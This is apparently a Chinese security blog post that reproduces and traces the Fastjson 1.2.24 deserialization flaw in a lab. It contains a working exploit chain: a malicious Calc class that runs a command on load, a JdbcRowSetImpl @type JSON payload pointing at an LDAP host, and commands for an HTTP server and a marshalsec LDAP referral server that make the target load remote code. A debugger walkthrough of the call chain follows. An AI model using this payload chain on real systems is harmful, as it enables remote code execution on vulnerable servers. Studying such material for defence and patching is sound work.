返回

Fastjson1.2.24反序列化漏洞

发布时间:2022-04-07 13:14:19 742
# java# 脚本# 攻击# 安全漏洞

Fastjson1.2.24反序列化漏洞

0x00 前言

Fastjson 是⼀个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符

串转换为 Java 对象。

Fastjson 可以操作任何 Java 对象,即使是⼀些预先存在的没有源码的对象。

Fastjson 源码地址:https://github.com/alibaba/fastjson

Fastjson 中文 Wiki:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN

0x01 环境

jdk: jdk-8u102-windows-x64

注:java版本一定要对应,不能过高。

image-20220316101930337

1、导入fastjson

下载fastjson 1.2.24

https://repo1.maven.org/maven2/com/alibaba/fastjson/

image-20220316103522382

image-20220316103544383

然后在IDEA中导入外部库即可。

文件-> 项目结构

image-20220218183036184

模块 -> 依赖 -> 点击 +

image-20220316103735240

选择 JAR或目录

image-20220316103828001

image-20220316103905591

最后应用。

2、建立一个恶意类:

Calc.java

import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Calc implements ObjectFactory {
    {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public Calc() throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"calc"};
        Process pc = rt.exec(commands);
        pc.waitFor();
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"calc"};
        Process pc = rt.exec(commands);
        pc.waitFor();
        return null;
    }
}

然后使用 javac Calc.java生成Calc.class

javac Calc.java

3、测试漏洞的demo

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class vultest {
    public static void main(String[] args) {
        payload();
    }
    public  static String payload(){
        String payload="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.116.133:1009/Calc\", \"autoCommit\":true}" ;
        System.out.println(JSON.toJSONString(payload));
        JSONObject.parseObject(payload);
//        JSON.parse(payload);
        return payload;
    }
}

4、开启一个http服务

这里我是用python开启http服务,在我们生成恶意类的位置开启服务

python -m http.server 8081

image-20220316102154565

5、开启远程ldap

这里使用的是marshalsec-0.0.3-SNAPSHOT-all.jar

链接:https://pan.baidu.com/s/1f7ROXon9E7eq5PI_-YYeJQ
提取码:ueie

命令如下:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.116.1:8081/#Calc 1009

image-20220316102817285

6、运行

image-20220316103013382

0x03 分析

image-20220315140313511

首先我们从parseObject开始进行分析。

进入之后就会来到这里:

C:\Users\tree.m2\repository\com\alibaba\fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\JSON.class

进入parse方法:

image-20220315140550509

然后进入DefaultJSONParser方法:主要是用来判断是以是什么方式开始,默认是以’{‘开始,并且设置token为12

image-20220315140740035

执行完DefaultJSONParser之后,进入parser.parse()

image-20220315140814794

这里根据token为12,然后case跳转至:

image-20220315140842340

进入parseObject方法

image-20220315140858920

这里会通过默认的”{“来获取到第一个参数也就是@type

image-20220315141016661

到这里的时候就回去判断key是不是@type,如果是@type就回去进行检测并且去反序列化

C:\Users\tree.m2\repository\com\alibaba\fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class

image-20220315141117489

然后就会到TypeUtils.loadClass

image-20220315141201971

加载类:com.sun.rowset.JdbcRowSetImpl

image-20220315141515171

最后到getDeserializer

image-20220315235823151

然后到deserializer.deserialze反序列化

image-20220315235837888

接着进入之后,主要反序列化的位置在
fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\deserializer\JavaBeanDeserializer.class

跟进parseField:

image-20220316091634058

然后这里非常重要的就是有一个smartMatch,这个smartMatch会进行一个通用匹配,可以匹配_开始以及-开始的变量:这个对另外一个调用链有用。

image-20220316002506683

image-20220316002405583

接着会去调用setValue,从而触发set方法

image-20220316091749655

image-20220316001405124

然后是设置autoCommit为true:
在com/alibaba/fastjson/parser/deserializer/FieldDeserializer#setValue

image-20220316001334580

通过反射调用了com.sun.rowset.JdbcRowSetImpl.setAutoCommit(boolean)方法,并传入参数true
然后跟进这个setAutoCommit方法:
D:\soft_ware\java\jdk\jre\lib\rt.jar!\jdk\net\ExtendedSocketOptions.class

image-20220316091925798

可以看到这个类是jdk自带的。
这里从业务逻辑上看应该是设置SQL执行的自动提交?但是需要先拿到一个连接(connection),若没有连接,则需要先建立一个连接,即:

this.conn = this.connect();

继续跟进:D:\soft_ware\java\jdk\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#connect

看这个条件判断:

else if (this.getDataSourceName() != null)

因为我们之前已经通过setDataSourceName设置了dataSourceName的值,所以这里可以进入这个条件分支:

image-20220316092127442

this.getDataSourceName() 是获得ldap的地址

image-20220316092150584

lookup

image-20220316092459943

关键都在这个lookup里面了。
然后就是对这个url:

ldap://192.168.116.133:1009/Calc

image-20220316092718524

这里和 JNDI注入基础.md 接下来的步骤差不多了

一步一步的lookup了。接下来说一下lookup的细节,
比如

D:\soft_ware\java\jdk\jre\lib\rt.jar!\com\sun\jndi\url\ldap\ldapURLContext#lookup

里要判断这个url里有没有?,即是否有查询的部分:
这里提供的url是没有查询部分的,所以继续调用其父类的lookup:

image-20220316092905928

跟进D:\soft_ware\java\jdk\jre\lib\rt.jar!\com\sun\jndi\toolkit\url\GenericURLContext#lookup

image-20220316093010417

这里通过var2.getRemainingName()得到/后面的部分,即向控制的服务器上获取Calc.class文件。

image-20220316093059134

最终一路lookup,到了这里:NamingManager#getObjectFactoryFromReference

image-20220315114247718

146行先尝试从本地CLASSPATH加载该class.

image-20220316095749532

image-20220315115013262

本地没有这个类,报错。

再到158行根据factoryName和codebase加载远程的class,跟进看下158行loadClass方法的实现

VersionHelper12#loadClass

image-20220315114646098

这里用了URLClassLoader去加载远程类

跟进loadClass

image-20220315114402026

跟进Class.forName(className, true, cl)

image-20220316100358274

执行完Class.forName就会加载这个类,从而执行到static方法

由于类的加载执行了static方法,服务器日志出现了一条调用记录

image-20220315115224480

image-20220315115244933

回到NamingManager#getObjectFactoryFromReference中,继续执行了 clas.newInstance

image-20220315115324292

这里执行完就会调用代码块和无参构造方法,弹出两个计算器

再往下会执行到321行,调用getObjectInstance方法

image-20220315115424326

此时会执行恶意类Calc中的getObjectInstance方法,弹出最后一个计算器。

特别声明:以上内容(图片及文字)均为互联网收集或者用户上传发布,本站仅提供信息存储服务!如有侵权或有涉及法律问题请联系我们。
举报
评论区(0)
按点赞数排序
用户头像
精选文章
thumb 中国研究员首次曝光美国国安局顶级后门—“方程式组织”
thumb 俄乌线上战争,网络攻击弥漫着数字硝烟
thumb 从网络安全角度了解俄罗斯入侵乌克兰的相关事件时间线